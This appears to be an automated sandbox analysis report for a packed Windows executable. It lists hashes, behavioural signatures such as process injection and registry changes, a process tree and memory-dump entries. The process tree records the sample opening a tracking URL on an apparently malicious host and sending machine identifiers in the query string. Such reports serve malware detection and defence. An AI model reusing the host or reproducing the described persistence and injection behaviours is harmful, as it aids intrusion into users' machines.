Analysis

  • max time kernel
    68s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    31/12/2023, 10:09

General

  • Target

    3231001d2573a1acc9cf281f0d9fc8e3.exe

  • Size

    264KB

  • MD5

    3231001d2573a1acc9cf281f0d9fc8e3

  • SHA1

    435ede149656773acfeaf0a179d466672f295a09

  • SHA256

    8452ea444f3e8d6b65b8ec9dbf3861f3115317b355f655ece5451270b3d7565c

  • SHA512

    a76f8db333cbc0f5f68768f1fa2d586767883705177b7d5d82e12fa0670ca6e144a0932376326c19d4bb28b5a2baf8b3f1b1e5b3f71cacc61a86eea4f8af3edf

  • SSDEEP

    6144:3+yFgv5dOMKyiQOtrNuvEBPTJaWVcInQxJlWwKiyVEqt:IrOMpdqNmEBYW2/JlQ5J

Malware Config

Signatures

  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
  • Sets file execution options in registry 2 TTPs 2 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • VMProtect packed file 8 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Enumerates connected drives 3 TTPs 20 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 14 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe
    "C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:2104
  • C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe
    "C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe
      "C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"
      2⤵
      • Modifies visiblity of hidden/system files in Explorer
      • Sets file execution options in registry
      • Enumerates connected drives
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      PID:324
    • C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe
      "C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2244
      • C:\Program Files\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://tongji.maxjust555.cn/avastcnzztj/ddqqbo.htm?mac=-901167814&os=windowsXP&ver=20090323&id=-1013383950.7
        3⤵
        • Modifies Internet Explorer settings
        PID:1580
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1580 CREDAT:275457 /prefetch:2
          4⤵
            PID:1392

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/324-34-0x0000000000400000-0x0000000000426000-memory.dmp

            Filesize

            152KB

          • memory/324-28-0x0000000000400000-0x0000000000426000-memory.dmp

            Filesize

            152KB

          • memory/324-72-0x0000000000400000-0x0000000000426000-memory.dmp

            Filesize

            152KB

          • memory/324-39-0x0000000000400000-0x0000000000426000-memory.dmp

            Filesize

            152KB

          • memory/324-32-0x000000000041C000-0x0000000000426000-memory.dmp

            Filesize

            40KB

          • memory/324-24-0x0000000000400000-0x0000000000426000-memory.dmp

            Filesize

            152KB

          • memory/324-76-0x0000000000400000-0x0000000000425B46-memory.dmp

            Filesize

            150KB

          • memory/324-36-0x0000000000400000-0x0000000000425B46-memory.dmp

            Filesize

            150KB

          • memory/324-26-0x0000000000400000-0x0000000000426000-memory.dmp

            Filesize

            152KB

          • memory/324-33-0x000000000041C000-0x0000000000426000-memory.dmp

            Filesize

            40KB

          • memory/1984-64-0x0000000000400000-0x0000000000496000-memory.dmp

            Filesize

            600KB

          • memory/1984-67-0x0000000000400000-0x0000000000496000-memory.dmp

            Filesize

            600KB

          • memory/1984-3-0x00000000002A0000-0x0000000000336000-memory.dmp

            Filesize

            600KB

          • memory/1984-35-0x00000000002A0000-0x0000000000336000-memory.dmp

            Filesize

            600KB

          • memory/1984-0-0x0000000000400000-0x0000000000496000-memory.dmp

            Filesize

            600KB

          • memory/2104-6-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-66-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-1-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-4-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-10-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

            Filesize

            4KB

          • memory/2104-9-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-14-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-15-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-16-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-17-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-18-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-79-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-19-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-77-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-22-0x0000000003600000-0x0000000003804000-memory.dmp

            Filesize

            2.0MB

          • memory/2104-69-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-71-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2104-21-0x0000000003600000-0x0000000003804000-memory.dmp

            Filesize

            2.0MB

          • memory/2104-23-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/2244-41-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/2244-43-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/2244-45-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/2244-48-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/2244-51-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/2244-56-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/2244-59-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/2244-65-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/2244-94-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB